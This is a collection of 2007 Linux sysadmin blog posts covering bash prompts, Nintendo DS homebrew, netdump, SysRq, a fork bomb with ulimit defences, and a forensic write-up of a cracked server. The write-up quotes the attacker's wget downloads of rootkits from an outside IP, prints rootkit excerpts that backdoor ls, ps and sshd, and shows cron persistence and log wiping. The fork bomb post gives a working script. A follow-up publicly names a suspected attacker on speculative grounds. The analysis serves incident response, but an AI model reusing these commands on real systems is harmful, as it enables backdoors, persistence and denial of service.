( http://hoth.amu.edu.pl/~esio/smieci/hub.ul).

Actually, when I searched for "lapi+psotnic" on google, a web-site called exy.hu popped up. Now this site has all kinds of nice crack software available, lists of username/password to a bunch of porn sites and a whole range of crew pictures. And guess what, a picture file there named lapi.jpg! (Fetch here: http://exy.hu/kepek/crew/Lapi/lapi.jpg). Is this our LaPi?

I also received an interesting mail from one former student and sysadmin of panorama.sth.ac.at. He could tell me that the host campus19.panorama.sth.ac.at was not NATed, but in fact one of the few IP-addresses that still is a FQDN. So he had both the name and the room-number of the alleged cracker! He should alert the administrators on-site and come back to me as soon as they had investigated further. This was one month ago, but (unfortunate) I have still not heard anything.

The most interesting mail I got was from Ipal (LaPi) himself! LaPi was, as we recall, the alleged cracker:

From: lapi <lapi@xxxxxxx.xxx>

To: lars@gnist.org

Subject: .

Date: Sat, 25 Aug 2007 14:43:40 +0200

User-Agent: Thunderbird 2.0.0.6 (Windows/20070728)



hi,

friend show me this



http://blog.gnist.org/article.php?story=HollidayCracking



i read it and see my psybnc IpaL, you send mail etc



im not abuse, im not metys, my session only stands there, i don't

remember why, maybe some spam i see and join to see and detach, or i

look for hacked servers, but i don't hack, my shell is k-lined, send

mail, because i must un kline it. Im only user of ircnet

He's claiming his innocent. I tried asking him some question, and, as far as I have interpreted his answers, he believe another cracker called 'metys' actually did the crack. He says he's just some innocent guy being at the wrong place at the wrong time...

I'm not convinced. I find it really suspicious that he's at a IRC-channel only occupied with zombies. Perhaps he's just playing the "innocent card" mixed with some bad English? Hard to tell.

Bash prompt with exit status

2007-10-13T14:37:00+02:00

Let's improve the Bash prompt even further from my last post. I want to see the exit status of the last command in the bash prompt.

All (good written) programs have different exit status depending on how they where terminated. Exit status "0" is equivalent to "I terminated normally", all other exit status codes are the same as "non-normal exit" or "something went wrong". Unfortunate, there is not defined any standard exit status table that can say something about what went wrong given a numeric exit status. That is up to the programmer to decide.

 lars@titan:~$ test 1 -eq 1

 lars@titan:~$ echo $?

 0

 lars@titan:~$ test 1 -eq 2

 lars@titan:~$ echo $?

 1

 lars@titan:~$ notanycommand

 bash: notanycommand: command not found

 lars@titan:~$ echo $?

 127

I know that the exit status is stored in "$?". I use that to colorize my prompt red if the exit status is anything but "0" ("all ok"). In the bash man page, there is a special variable that is exactly what I'm looking for:

PROMPT_COMMAND

  If set, the value is executed as a command prior to issuing each

  primary prompt.

So we create a small function and add it to ~/.bashrc:

function exitstatus {



        EXITSTATUS="$?"

        BOLD="\[\033[1m\]"

        RED="\[\033[1;31m\]"

        OFF="\[\033[m\]"

       

        if [ "$EXITSTATUS" -eq "0" ]

        then

                PS1="${BOLD}\u@\h:\w\$${OFF} "

        else

                PS1="${BOLD}\u@\h:\w${OFF}${RED}\$${OFF} "

        fi



        PS2="${BOLD}>${OFF} "

}



PROMPT_COMMAND=exitstatus

Fire up a new shell, and every command that has an exit status different than "0" puts a red marker in your prompt:

Bash prompt (on RedHat)

2007-10-12T15:30:00+02:00

I've been working with a lot of different RHEL-boxes lately, and I've (yet again) been frustrated with the default RedHat Bash-prompt. It is an easy fix, but its tiresome to change every time.

Okay, the "trouble" is this:

  [lars@titan ~]$

This is the default bash prompt. Now, thats fine enough, but lets jump to another directory.:

  [lars@titan lib]$

Where am I now? Which directory is this? Hm?

Since the RedHat prompt only shows the current directory, and NOT the full path, it can be any number of directories:

/lib
/usr/lib/
/usr/src/linux/lib/
/usr/local/lib/
/opt/lib
/var/lib
~/lib
...

You get the idea? And, if you have the same amount of short-time memory like me, you have to constantly type 'pwd' to check which directory you currently are in. The only nice feature with the default RedHat prompt, is to prevent long wrapping prompt (when the full path gets long).

Luckily, it is easy to change the prompt. Just add this to your ~/.bashrc

    PS1='\u@\h:\w\$ '

    PS2='> '

This gives you:

 lars@dream:~$

And lets now jump to another directory:

lars@dream:/usr/local/lib$

See? No more 'pwd'! Finally a more sane and useful Bash prompt!

You can find more prompt variables in the Bash manual here.

A slightly more fancy variant of the above, is to make the prompt bold:

   BOLD="\[\033[1m\]"

   OFF="\[\033[m\]"

   PS1="${BOLD}\u@\h:\w \$${OFF} "

   PS2="${BOLD}>${OFF} "

Just add it to your ~/.bashrc, and it will look like this:

 lars@titan:~$

You can pimp your prompt with colors and all kinds off information. Read the Bash Prompt HOWTO for more.

Old classical PC games on Nintendo DS

2007-08-01T20:26:00+02:00

The Nintendo DS (NDS) is more than powerful enough to play several old PC games. Some porting is required, and luckily a lot of people have already done that. Usually, you just need the game files (which means you must either own the originally game, use the shareware version or, check if it's abandonware). It's time for a trip down memory lane trying out some old classics.

To be able to run, you must first have some kind of "memory card". I have, and can personally vouch for, DSX. You can read all about my experience with it here.

1. Lemmings - First off is Lemmings! This (open source) version of Lemmings for NDS is a complete rewrite of Lemmings with close to 300 of the original levels. Installation was easy - and no dldi patching was necessary for DSX. Download here.

2. Doom - This version of Doom, called "DS Doom", even have multiplayer support using wireless. This version does not need dldi patching for DSX. But you do need Dooms WAD-files (shareware is fine). Homepage here.

3. Day of the Tentacle - Yes! The great adventure games from Lucasarts can be played on the NDS using a port of Scummvm. Scummvm is just a new engine, so you still need the data files. A whole range of adventure games can be played (Monkey Island 1 & 2, Sam & Max hit the road, Simon the Sorcerer 1 & 2, ..). Download the NDS port of Scummvm here.

4. Hexen - Another old classic FPS game, based on the Doom engine. Fetch it here.

5. Quake - Yes, running Quake at full speed. Quite a nice port considered the NDS's 4MB of memory. You'll need the shareware version of the game file (PAK0.PAK) and/or the full game (PAK1.PAK).

Other games I would like to see ported to NDS, are from the Ultima series. Specifically Ultima 7 and 8 and Ultima Underworld 1 & 2. Great, great games! And since I've mention Lucasarts games, playing X-Wing and Tie-Fighter would also have been fun - which the NDS should be more than capable of. When it comes to Ultima 7, the Exult project have made a comment on porting to the NDS. - Oh, and not to forget Dungeon Keeper, Diablo, ...

Now, if only I had some more time to play games!

Linux on Nintendo DS

2007-07-27T16:14:00+02:00

After getting my own DSX memory card for running homebrews (read earlier blog entry here), it's time to fire up Linux. Getting Linux to run on the NDS was no problem at all, but it's still quite limited. At least when using the memory card DSX.

The Linux distribution for NDS is called DSLinux and is under active development. To run it, use the following procedure:

Connect the DSX to the USB.
Download http://kineox.free.fr/DS/dslinux.nds and put it in the "apps/" folder. This version has wireless support.
Since the DSX own application launcher are unable to launch DSLinux for some reason, another launcher has to load Linux. The launcher DSChannel can do the work. Unpack http://gtamp.com/DS/dschannels_beta5b_DS-X.7z to the root of your DSX.
From DSX, start DSChannel. From DSChannel start DSLinux. If you try to launch DSLinux from DSX own application launcher, you'll just be presented with to white screens.
When starting DSLinux, the top-screen (console) is garbled. Just tap "Enter" to redraw the screen.
Login with user name: root and password: uClinux.

From here, get the wireless interface up and running:

# iwconfig nds channel 2 essid gatekeeper key off

# ifconfig nds 192.168.1.42 up

# route add default gw 192.168.1.1

Oh, and the wireless is just legacy 802.11 (no 802.11b or 820.11g), so it's limited to 2Mbit/s data rate. And only WEP is supported, no 802.11i (WPA/WPA2).

Unfortunate, the DSX (file system) is not supported by DSLinux, so it's really limited what can be done. The file system is read-only so the rest of DSLinux is inaccessible. Only the most elementary programs are available like "busybox, "cat", "ls" and so on. Both "telnetd" and "dropbear" (ssh) refuses to start. I suspect that's because the read-only file system. And since no "netcat" or "socat" is present, it limits the remote accessibility further. Fortunate, support for DSX is on the TODO list.

So I'll guess I just have to wait until it's supported before I can play more with DSLinux.

Useful links:

Memory card "DS-Xtreme" (DSX) for the Nintendo DS (NDS)

2007-07-27T14:21:00+02:00

As of June 2007, 47 million Nintendo DS units has been sold. That's quite an impressive number, and has been the fastest selling platform in Europe. As soon as I got my hands on one of these units, I started looking for ways to use "homebrews" (= software written for the NDS usually published for free).

There are a lot of great homebrews for the NDS, but a "memory card" (solid state ROM) is required to use homebrews. You must have a way of putting the homebrew onto the NDS. A lot of different memory cards exists. After poking around, I found that DS Xtreme card (DSX) looked to be a good choice.

Several reasons why I preferred DSX:

Comes in sizes up to 2GB.
The pysical size is no larger than ordinary game cards.
No need to patch/modify the NDS, the DSX works as an ordinary "game card".
USB interface directly onto the card which works flawlessly.
Support (which I found out where excellent) and forums.
A large and active community.

Okay, so how do I get hold of one of these cards? I found a Norwegian shop modnet.no which had the 2 GB in in stock.

The device arrived the next day. Great! Inside it was only a USB-cable and the DSX itself. I had read that the 2GB devices need a mandatory update, due to some firmware bugs. The firmware update was a breeze, but unfortunate a Windows only procedure.

When connected it's deteced as any ordinary USB-stick:

$ dmesg

...

[17185651.468000] usbcore: registered new driver usb-storage

[17185651.468000] USB Mass Storage support registered.

[17185651.468000] usb-storage: device found at 7

[17185651.468000] usb-storage: waiting for device to settle before scanning

[17185656.468000] usb-storage: device scan complete

[17185656.468000]   Vendor: DS-Xtrem  Model: e      isk        Rev:     

[17185656.468000]   Type:   Direct-Access                      ANSI SCSI revision: 00

[17185656.472000] SCSI device sdb: 4071424 512-byte hdwr sectors (2085 MB)

[17185656.472000] sdb: Write Protect is off

[17185656.472000] sdb: Mode Sense: 33 00 00 00

[17185656.472000] sdb: assuming drive cache: write through

[17185656.476000] SCSI device sdb: 4071424 512-byte hdwr sectors (2085 MB)

[17185656.476000] sdb: Write Protect is off

[17185656.476000] sdb: Mode Sense: 33 00 00 00

[17185656.476000] sdb: assuming drive cache: write through

[17185656.476000]  sdb: unknown partition table

[17185656.476000] sd 2:0:0:0: Attached scsi removable disk sdb

[17185656.476000] sd 2:0:0:0: Attached scsi generic sg1 type 0

[17185657.096000] FAT: utf8 is not a recommended IO charset for FAT filesystems, filesystem will be case sensitive!



$ df -h

...

/dev/sdb              2.0G  1.4G  639M  68% /media/DSX

After fiddling around with the DSX I needed to reset the DSX. I peeled off the label on the DSX and in the tiny hole there was two individual contacts. By connecting these two, the DSX was reset. Se picture to the right. After that I just needed to run the firmware upgrade utility and I was back on track.

So now it's time to find some good homebrews! A nice place to start:

http://www.ds-xtra.com/DS_Homebrew_Directory

Less typing with enviroment variable CDPATH

2007-07-25T20:11:00+02:00

The BASH shell has several environment variables that can be manipulated. The PATH variable is well known. Another useful variable is CDPATH. As PATH is a list of search paths for commands, so is CDPATH a list of directories used as search path for the "cd" command.

Example: At one ftp server we serve a lot of software, including several of the most popular Linux distributions. The local path to these distributions involves a lot of typing:

  larsks@spheniscus:~$ cd /usit/spheniscus/ftp/linux/

  larsks@spheniscus:/usit/spheniscus/ftp/linux$

From here, I can jump into "slackware/", "centos/", "debian/" and so on. But it's simpler when using CDPATH:

  larsks@spheniscus:~$ export CDPATH="/usit/spheniscus/ftp/linux"

  larsks@spheniscus:~$ cd slackware
 
  /usit/spheniscus/ftp/linux/slackware

  larsks@spheniscus:/usit/spheniscus/ftp/linux/slackware$

Nice huh?

An even lazier method (involving less typing) is to use alias:

  larsks@spheniscus:~$ alias s="cd /usit/spheniscus/ftp/linux/slackware"

  larsks@spheniscus:~$ s

  larsks@spheniscus:/usit/spheniscus/ftp/linux/slackware$

But then I have to create one alias for each directory. Oh the choices!

Fork bomb, or how to take down a Linux server in matter of seconds

2007-07-24T15:28:00+02:00

A particular nasty local denial of service attack is a fork bomb. It's dead simple: A program just replicate itself, which again replicate itself and so on until all resources are exhausted. Fortunately, protection against fork bombs are easy - but rarely used at all.

Fork bomb? Doesn't sound familiar? To understand fork bomb, you must understand "fork()". Fork is a system call, which creates an exact copy of the running process. The new process is called "child", and the invoking process "parent". If you've taken any sort of programming class I'm sure you know all about forking. If not, you can read about it in "man 2 fork" or Wikipedias entry on fork.

To create a fork bomb, you usually make some kind of misbehaving piece of software that spawns new child processes endlessly. This can be written in any language, but a one-liner bourne shell script is perhaps the most simple one:

  #/bin/sh

  $0 &

  $0

Save this as "forkbomb.sh", execute it and see what happens. I'll bet within seconds the system is unresponsive. Here "$0" is the name of the script (forkbomb.sh) and the "&" puts the new invocation in the background. Last the script is executed a second time and this time it's in the foreground waiting for the new invocation of itself to complete (which it never does..) thus effectively holding on to resources..

You can restrict the number of processes by the built-in bash command "ulimit". Option "-u" shows/controls number of processes you're allowed to run:

  $ ulimit -u

  unlimited

Unlimited number of processes? Thats nice. Restrict it by:

  $ ulimit -u 20

  $ ulimit -u

  20

Here "20" is the maximum number of processes available to the shell and processes started by it. Try it, and you'll soon see the restriction come to play:

  $ ulimit -u 20

  $ ./forkbomb.sh

  ./forkbomb.sh: fork: Resource temporarily unavailable

  ./forkbomb.sh: fork: Resource temporarily unavailable

  ./forkbomb.sh: fork: Resource temporarily unavailable

  ....

Good. Unfortunate, we do not trust our users. So we need this setting permanent. This an be done in /etc/security/limits.conf:

  # cat /etc/security/limits.conf

  ....

  lars    hard    nproc 20

Logout and back in, to see the restriction in effect.

  $ ulimit -u

  20

And I can of course not increase the limits beyond the level set in limits.conf:

  $ ulimit -u 100

  -bash: ulimit: max user processes: cannot modify limit: Operation not permitted

But do beware - the root account (or any account with UID 0) is not bound by limits.conf.

Netdump

2007-06-24T10:50:00+02:00

RHEL provides a crash dump facility called netdump (network crashdump = netdump). Traditionally UNIX writes the kernel dump to the swap partition. A classical crash dump facility first need to recover the dump before it's reused as swap. Other crash dump facilities enables kernel dumps to be written to disk. Diskdump is such a facility. However, great care must be taken as to not overwrite important data on the file system. Netdump solves that by writing the kernel dump to the network destined to a netdump server.

You might argue that the kernel never crashes. Unfortunate that is not true. Kernel crashes might be caused by software and hardware bugs (Oops, BUG(), panic). The kernel then responds by dumping as much information as it can (processor state, stack trace and so on) to the console. This might be enough for an experienced kernel hacker to find out what went wrong, but some crashed requires an analyze of the memory dump of the kernel.

Netdump server:
1. Install the netdump-server package.
2. Set password for the netdump user:

  # passwd netdump

  Changing password for user netdump.

  New UNIX password:

3. Netdump writes to /var/crash, and kernel dumps can take anywhere from 500MiB up to several GiB depending on amount of memory used on the client.
4. Start the netdump-server:

# service netdump-server start

Starting netdump server:                                   [  OK  ]

Netdump client:
1. Install the netdump package.
2. Edit /etc/sysconfig/netdump and add netdump server:

   ...

   NETDUMPADDR=192.168.1.104

   ...

3. Propagate the shared secret to the server. This just copies the ssh public key to the crashdump server:

  # service netdump propagate

  netdump@192.168.1.104's password:

The above command just do:

  cat /etc/sysconfig/netdump_id_dsa.pub | \

  ssh -x netdump@$NETDUMPADDR cat '>>' /var/crash/.ssh/authorized_keys2

4. Restart netdump:

 # service netdump restart

initializing netdump                                       [  OK  ]

initializing netconsole                                    [  OK  ]

At the netdump server, a client directory is created for dump files:

 /var/crash/192.168.1.103-2007-06-24-09:44

Time for some testing! Lets crash the client! We crash the client by using sysrq. Read more about sysrq here.

 # sysctl -w kernel/sysrq=1

 kernel.sysrq = 1

 # echo "c" > /proc/sysrq-trigger

The kernel now crashes, but right before it reboots, it dumps to the netdump server (UDP port 6666). At the end of the dump, a SysRq-t is performed. SysRq-t dumps a list of current tasks and their information.

Note! While the dumping is in progress, interrupts are disabled. One consequence of this is that the keyboard is unresponsive.

At the server, two files are generated:

  # ls -lh /var/crash/192.168.1.103-2007-06-24-09\:44/

  -rw-------    1 netdump  netdump      1.3K Jun 24 09:44 log

  -rw-------    1 netdump  netdump      510M Jun 24 09:44 vmcore

You can now analyze the dump ("vmcore") using gdb, kdb or similar to figure out what went wrong. Enjoy!

Magical SysRq

2007-06-18T20:10:00+02:00

SysRq (System Request) is probably one of those keys on your keyboard that you rarely use. On Linux, you can use it to perform system functions if the system becomes unresponsive. You can sync disks, reboot or crash the kernel if that is what you want. To enable the "magical" sysrq, you need to have it compiled in the kernel. Luckily all major Linux distribution today have sysrq compiled in be default. To see the status if sysrq, issue:

  $ cat /proc/sys/kernel/sysrq

  1

By default this value is "1" on Debian/Ubuntu and "0" on RHEL. "0" disables sysrq and "1" enables all functions of sysrq. Other values exists, see Documentation/sysrq.txt. You might also use "sysctl to check and enable sysrq:

  #  sysctl kernel/sysrq

  kernel.sysrq = 0

  # sysctl -w kernel/sysrq=1

  kernel.sysrq = 1

To "s"ync all filesystems, press "Alt+SysRq+s". You'll then see at the console:

 SysRq  :  Emergency Sync

 Emergency Sync complete

Other sysrq functions include "b"oot, "c"rash and "u"mount. See the Documentation/sysrq.txt for the full list.

A quick way to reboot, and a little nicer than using the power-button, is to:

1. Sync disks using: "Alt+SysRq+s":

 SysRq  :  Emergency Sync

 Emergency Sync complete

2. Remount all disks read-only: "Alt+SysRq+u":

 SysRq  :  Emergency Remount R/O

 Emergency Remount complete

3. Reboot: "Alt+SysRq+b":

 SysRq  :  Resetting

An (impatient) colleague of mine uses this procedure to shut down his laptop all the time...

If you're not on the console, you can still use sysrq. Just redirect the the command-key to /proc/sysrq-trigger. So to crash the running server do:

  # echo "c" > /proc/sysrq-trigger

Note: Crashing the running kernel using kexec/kdump is not supported in Debian 4.0 (Etch).

SELinux presentation

2007-05-13T17:31:00+02:00

Linpro held the annual "Linuxdagen" ("Linuxday") 7. May 2007. It was the usual mix of interesting and not so interesting presentations. There was a lot more people attending this year than last year - which was great. My presentation about SELinux dealt with how SELinux enforces "mandatory access control" (MAC) instead of the traditional "discretional access control" (DAC) on Linux. Handout can be found here (norwegian).

Holiday cracking

2007-04-09T19:17:00+02:00

Update! 16. September 2007: I've posted a follow up on this story here.

A friend of mine asked me to have a look at his Linux-server. "It behaves strangely" he said, most notably the web-server apache refused to start. It turned out to be more than just a problem with apache.

I already had an account, so I started to poke around. The first thing I noticed was some strange ls behavior:

 lars@server1:~$ ls

 ls: invalid option -- h

 Try `ls --help' for more information.

That's odd.. Why don't "ls" take "-h" all of a sudden?? I had aliased "ls, so I unaliased it and it worked fine:

lars@server1:~$ alias ls

 alias ls='ls -sh --color=auto'

 lars@server1:~$ unalias ls

 lars@server1:~$ ls

 backup

 lars@server1:~$

Strange. I'll have too look into that later, but first get apache up and running:

 lars@server1:~$ sudo /etc/init.d/apache2 start

 Password:

  * Starting apache 2.0 web server...

 (2): apache2: could not open error log file /var/log/apache2/error.log.

 Unable to open logs

    ...fail!

Ookay..? A quick peek into "/var/log/" revealed that "apache2/" was missing, but so was all other directories usually found under there as "mysql/", "exim4/", "samba/" and so on. Something was wrong alright. Did my friend accidentally delete everything by mistake?? He claimed not to. I logged in as root to fix the missing directories:

 lars@server1:~$ sudo su -

 Password:

 root@server1:~# ls

 ls: unrecognized prefix: do

 ls: unparsable value for LS_COLORS environment variable

 total 44

   4 .                 4 .bashrc           4 .ssh

   4 ..                4 .lesshst          8 .viminfo

   8 .bash_history     4 .profile          4 .vimrc

Even more "ls" trouble? Again, "ls" is aliased:

 root@server1:~# alias ls

 alias ls='ls -sa --color=auto'

 root@server1:~# unalias ls

 root@server1:~# ls

 root@server1:~#

By now, I really suspected that something was very very wrong. Misbehaving "ls" and missing a bunch of stuff under "/var/log/". My suspicion was confirmed when I examined root's ".bash_history":

root@server1:~# cat -n .bash_history

   ...

   340  w

   341  cd /var

   342  wget http://83.19.148.250/~matys/pliki/shv5.tar.gz

   343  tar -zxf shv5.tar.gz

   344  rm -rf shv5.tar.gz

   345  mv shv5 .x

   346  cd .x

   347  ./setup zibi.joe.149 54098

   348  passwd

   349  passwd

   350  ps aux

   351  crontab -l

   352  cat /etc/issue

   353  cat /etc/passwd

   354  w

   355  who

   356  cd /usr/lib/libsh

   357  ls

   358  hide +

   359  chmod +x hide

   360  hide +

   361  ./hide +

   362  cd /var/.x

   363  mkdir psotnic

   364  cd psotnic

   365  wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz

   366  tar -zxf psotnic0.2.5.tar.gz

   367  rm -rf psotnic0.2.5.tar.gz

   368  ls

   369  mv psotnic-0.2.5-linux-static-ipv6 synscan

   370  ./synscan

   371  vi conf

   372  vi conf1

   373  mv synscan smbd

   374  smbd -c conf

   375  ls

   376  ps aux

   377  ls

   378  ./smbd -c conf

   379  ./smbd -c conf1

   380  ./smbd conf

   381  ./smbd conf1

   382  ./smbd -a conf conf1

   383  rm -rf conf.dec

   384  rm -rf conf1.dec

   385  cd /usr/lib/libsh

   386  ./hide +

   387  exit

   ...

   425  ssh ftp@62.101.251.166

   426  w

   427  ls

   428  ls

   429  cd /var/.x

   430  ls

   431  cd psotnic/

   432  ls

   433  rm -rf /var/log/*

   434  exit

   435  ls

   436  cd /var/.x/psotnic/

   437  ls

   438  vi conf2

   439  ./smbd -c conf2

   440  ./smbd conf2

   441  ./smbd -a conf conf1 conf2

   442  rm -rf conf2.dec

   443  cd ..

   444  ls

   445  cd /usr/lib/libsh

   446  hide +

   447  ./hide +

   448  exit

   449  ps aux

   450  cd /var/.x

   451  ls

   452  ls

   453  cd psotnic/

   454  ls

   455  cat pid.MastaH

   456  kill -9 2030

   457  ./synscan -a conf conf1

   458  ./smbd -a conf conf1

   459  cd /usr/lib/libsh

   460  ./hide +

  ...

Woha! The box had been cracked alright! I found this quite exciting, but obviously, my friend did not. The attacker did one elementary error by not wiping out ".bash_history" - so this is probably not the only error he/she has done. Let's start dissecting this little crack.

First. What is hiding under "/var/.x/" and what does the command "setup zibi.joe.149 54098" do?

root@server1:/var/.x# file setup

setup: Bourne-Again shell script text executable

root@server1:/var/.x# wc -l setup

825 setup

root@server1:/var/.x# head -17 setup

#!/bin/bash

#

# shv5-internal-release

# by: PinT[x] April/2003

# 

# greetz to:

#

# [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99 

#                 C00L|0, GolDenLord, Spike, zion ...

# [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...

# [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...

# [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..

# [*] And all others who diserve to be here but i forgot

# [*] them at the moment !

# 

# PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !

Now, this little shell script does all kinds of nasty stuff, like installing a modified ssh backdoor disguised as "/bin/ttyload" which is then added to "/etc/inittab" for automatic startup at boot:

mv $SSHDIR/sshd /sbin/ttyload

chmod a+xr /sbin/ttyload

chmod o-w /sbin/ttyload

touch -acmr /bin/ls /sbin/ttyload

chattr +isa /sbin/ttyload

kill -9 `pidof ttyload` >/dev/null 2>&1

....

# INITTAB SHUFFLING

chattr -isa /etc/inittab

cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1

cat /etc/inittab |grep getty > /tmp/.init2

echo "# Loading standard ttys" >> /tmp/.init1

echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1

It also backdoor a bunch of standard linux commands:

# Backdoor ps/top/du/ls/netstat/etc..

cd $BASEDIR/bin

BACKUP=/usr/lib/libsh/.backup

mkdir $BACKUP

...

# ls ...

chattr -isa /bin/ls

cp /bin/ls $BACKUP

mv -f ls /bin/ls

chattr +isa /bin/ls

This explains why "ls" misbehavied!

root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/

total 552

-rwxr-xr-x   1 root     root       126276 Dec 24 22:58 find

-rwxr-xr-x   1 root     root        59012 Dec 24 22:58 ifconfig

-rwxr-xr-x   1 root     root        77832 Dec 24 22:58 ls

-rwxr-xr-x   1 root     root        30388 Dec 24 22:58 md5sum

-rwxr-xr-x   1 root     root        99456 Dec 24 22:58 netstat

-rwxr-xr-x   1 root     root        65492 Dec 24 22:58 ps

-rwxr-xr-x   1 root     root        14016 Dec 24 22:58 pstree

-rwxr-xr-x   1 root     root        50180 Dec 24 22:58 top

Oh - and look at the timestamp. This was done at christmas!

Clearly the original "ls" and the newly installed "ls" are different, as md5 fingerprint and file shows:

root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls

eef7ca9dd6be1cc53bac84012f8d1675  /usr/lib/libsh/.backup/ls

0a07cf554c1a74ad974416f60916b78d  /bin/ls



root@server1:~# file /bin/ls

/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked 

(uses shared libs), for GNU/Linux 2.0.0, stripped



root@server1:~# file /usr/lib/libsh/.backup/ls

/usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked 

(uses shared libs), for GNU/Linux 2.6.0, stripped

The backdoor toolkit ("sh5.tar.gz") was downloaded from (local copy here):

root@server1:~#  dig +short -x 83.19.148.250

4lo.bydg.pl.

I can't make much out of the site, since it's in polish. The attacker probably don't have any connection to this site - I don't think he is that foolish, but then again - he has done several severe mistakes.

The output of the "setup" command, as run by the attacker, can be seen in the screen shot (I was running this on sandboxed server at home):

Okay, so "zibi.joe.149" is the password and "54098" is the port number. It's running and (old) sshd from ssh.com, as seen from the screen shot:

Nice colors.

The backdoor is installed. The next step is to install an irc-bot and make it an zombie. That is what "psotnic0.2.5.tar.gz" contains. The attacker extract and rename the irc-bot to "smbd", which happens to be the same as Samba's daemons ("smbd" and "nbmd").

Next he creates two configuration files, which contains which irc-server to connect to, and which channel to join etc. The config files are then encrypted, and the clear-text ones are deleted:

   371  vi conf

   372  vi conf1

   ....

   378  ./smbd -c conf 

   379  ./smbd -c conf1

   380  ./smbd conf

   381  ./smbd conf1

   382  ./smbd -a conf conf1

Let's execute command 382 to see what it does:

root@server1:/var/.x/psotnic# ./smbd -a conf conf1



Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)

Copyright (C) 2003-2005 Grzegorz Rusin 



[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1

[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1

[+] Added 2 psotnics to cron

Aha! So it gets added to cron:

root@server1:/var/.x/psotnic# crontab -l

*/10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1

*/10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1

At this time I killed off the two hostile smbd-processes and disabled the cron-job. I fired up a tcpdump in another shell and started the two processes manually:

root@server1:~# cd /var/.x/psotnic; ./smbd conf



Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)

Copyright (C) 2003-2005 Grzegorz Rusin 



[*] Acting as LEAF

[+] Config loaded

[+] Going into background [pid: 5724]

root@server1:/var/.x/psotnic# ./smbd conf1



Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)

Copyright (C) 2003-2005 Grzegorz Rusin 



[*] Acting as LEAF

[+] Config loaded

[+] Going into background [pid: 5727]

root@server1:/var/.x/psotnic#

These two processes show up using (our backdoored) "ps", so I guess that why the attacker renamed it to "smbd":

root@server1:/var/.x/psotnic# ps axuw | grep smb

root      3799  0.0  0.4  8592 2156 ?        S    11:00   0:00 /usr/sbin/smbd -D

root      3808  0.0  0.1  8592  896 ?        S    11:00   0:00 /usr/sbin/smbd -D

root      5724  0.0  0.1  1648  772 pts/2    S    12:47   0:00 ./smbd conf

root      5727  0.0  0.1  1640  764 pts/2    S    12:47   0:00 ./smbd conf1

The first two are the real samba, the next two are the irc-bot. Let's strace it to see what it does:

root@server1:~# strace -p 5727

...

connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress)

...

connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress)

So it tries to connect to IP-address 83.18.74.235 on port 9714 and 195.159.0.92 on port 6667 (this port is used for irc-servers):

root@server1:~# dig +short -x 83.18.74.235

manhattan.na.pl.

root@server1:~# dig +short -x 195.159.0.92

ircnet.irc.powertech.no.

Another polish host. The other IP-adress, "ircnet.irc.powertech.no" is a CNAME for "irc.powertech.no", a well known irc-server here in Norway.

Using the tcpdump, I identified one network-stream to irc-server irc.powertech.no. As these snippets show, they show the smbd connecting to "irc.powertech.no", and joining channel "#aik":

:irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no

:irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1



:578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik

:irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo 

:irc.powertech.no 366 578PAB9NB #aik :End of NAMES list.

:irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW

:irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW

:irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW

:irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW

:irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW

:irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW

:irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW

:irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet..

:irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW

:irc.powertech.no 315 578PAB9NB #aik :End of WHO list.

This is just the raw network traffic of the irc-session joining channel #aik and listing all other members on that channel. I decided to join that channel myself (notice the nice underground nick: "viper42"). I was surprised not to be asked for any channel password. I guess our attacker made another bummer:

17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik

17:43 [Users #aik]

